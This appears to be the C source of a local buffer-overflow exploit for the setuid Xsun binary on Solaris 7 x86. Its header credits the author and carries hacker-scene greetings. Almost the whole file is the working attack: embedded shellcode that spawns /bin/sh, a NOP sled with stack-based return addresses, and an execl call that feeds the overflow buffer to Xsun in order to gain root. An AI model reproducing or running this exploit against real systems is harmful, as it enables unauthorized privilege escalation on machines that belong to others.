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- /*
- *
- * Solaris 7 Xsun(suid) local overflow - PRIVATE for now!
- * Solaris 2.7/(2.6?) x86 sploit no sparc code, yet!
- *
- * Discovered/sploited By DiGiT - teddi@linux.is
- *
- * Greets to all the guys at #hax.
- * Special greetz to crazy-b! and my Icelandic brother Icemav!!
- *
- * ═slendingar gefi≡ mΘr VINNU! - ═sland lengi lifi or whatever.
- *
- * this is a pre sploit so do not distribute!
- *
- * if this dosen't work, you will need to brute the offset.
- */
-
- #include <stdio.h>
- #include <stdlib.h>
-
- // Generic solaris x86 shellcode by cheeze wizz
-
- char shellcode[] =
- "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
- "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
- "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
- "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
- "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
- "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
-
- long get_esp() { __asm__("movl %esp,%eax"); }
-
- int main(int argc, char *argv[]) {
-
- char buff[5000];
- int nopcount=2001, bsize=4000, offset=1850;
- int i;
-
- if (argc > 1) nopcount = atoi(argv[1]);
- if (argc > 2) bsize = atoi(argv[2]);
- if (argc > 3) offset = atoi(argv[3]);
-
- memset (buff, 0x90, bsize);
-
- for (i = nopcount; i < bsize - 4; i += 4)
- *(long *) &buff[i] = get_esp() + offset;
-
- memcpy (buff + (nopcount - strlen (shellcode)), shellcode, strlen(shellcode));
- memcpy (buff, ":", 1);
- printf("Oh boy. DiGiT presents r00t\n");
- execl("/usr/openwin/bin/Xsun", "Xsun", "-dev", buff, NULL);
- }
-